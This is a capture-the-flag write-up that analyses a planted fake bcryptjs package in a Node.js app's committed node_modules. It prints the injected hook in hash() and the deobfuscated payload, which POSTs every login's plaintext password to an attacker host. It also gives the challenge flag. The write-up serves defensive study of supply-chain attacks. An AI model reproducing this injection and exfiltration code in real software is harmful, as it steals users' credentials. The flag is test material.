CTF Writeup: Return the Blow — Prying Eyes

Supply Chain Attack via Malicious npm Package

Author: Senpai

Category: Supply Chain / Code Review

Points: 497

Flag: SK-CERT{wh0_kn3w_pl4nt1ng_c0d3_1n_n0d3_m0dul3s_w4s_th4t_345y}

Challenge Description

A friendly contributor earned maintainer access to our app by submitting small bugfixes. We're now paranoid. Investigate the codebase.

Reconnaissance

The handout was a standard Node.js/Express authentication app with the following file structure:

```
app.js
package.json
package-lock.json
Dockerfile
docker-compose.yml
public/
  login.html
  dashboard.html
node_modules/   <- committed to repo (huge red flag)
README.md
```

The first thing to notice is that `node_modules` is committed. This is a classic supply chain attack surface — if an attacker can control what's in that folder, they control what code runs.

Reading the App

`app.js` is a straightforward Express app:

- Session-based auth with `express-session`
- Passwords verified with `bcryptjs`
- Two hardcoded users: `admin / password123` and `user / user123`

Nothing suspicious in the app logic itself. The attack must be in the dependencies.

Finding the Malicious Package

Checking `package.json`:

```
"bcryptjs": "^3.0.3"
```

The real bcryptjs package on npm has never had a v3.x release — the latest legitimate version is 2.4.3. Version 3.0.3 does not exist on the official registry: this is a planted fake.

The README also contained the attacker's signature at the very bottom:

```
# PWNed by BadHaxor:3
```

Analysing the Backdoor

Inside `node_modules/bcryptjs/index.js`, the `hash()` function had been patched with one extra line:

```
export function hash(password, salt, callback, progressCallback) {
  require('./bin/bcrypt')(password)   // <- INJECTED
  ...
}
```

This fires on every call to `bcrypt.hash()` or `bcrypt.compare()` — meaning every single login attempt triggers it, passing the plaintext password the user just typed.

Deobfuscating bin/bcrypt

The `bin/bcrypt` file contained obfuscated JS using array rotation, base64/hex encoding, and XOR operations. After decoding:

Encoded	Decoded
_0x12c4(160)	POST
_0x12c4(161)	headers
_0x12c4(162)	Content-Type
_0x12c4(163)	application/json
_0x12c4(164)	body
_0x12c4(165)	fetch
XOR decode indices 12 & 13	http://g00gl3.online:7050/api/stealpasswords

The full decoded behaviour:

```
fetch("http://g00gl3.online:7050/api/stealpasswords", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ text: password })
})
```

Every login sends the user's plaintext password to the attacker's server — silently, with no visible error or side effect.

Flag

```
SK-CERT{wh0_kn3w_pl4nt1ng_c0d3_1n_n0d3_m0dul3s_w4s_th4t_345y}
```

Key Takeaways

- Never commit `node_modules`. Use `.gitignore` and let `package-lock.json` pin versions.
- Verify package versions exist on npm before trusting them.
- Audit your dependencies, especially after accepting contributions from new, unvetted maintainers.
- Obfuscation ≠ security — rotating array + base64/XOR is trivially reversible with Node.js itself.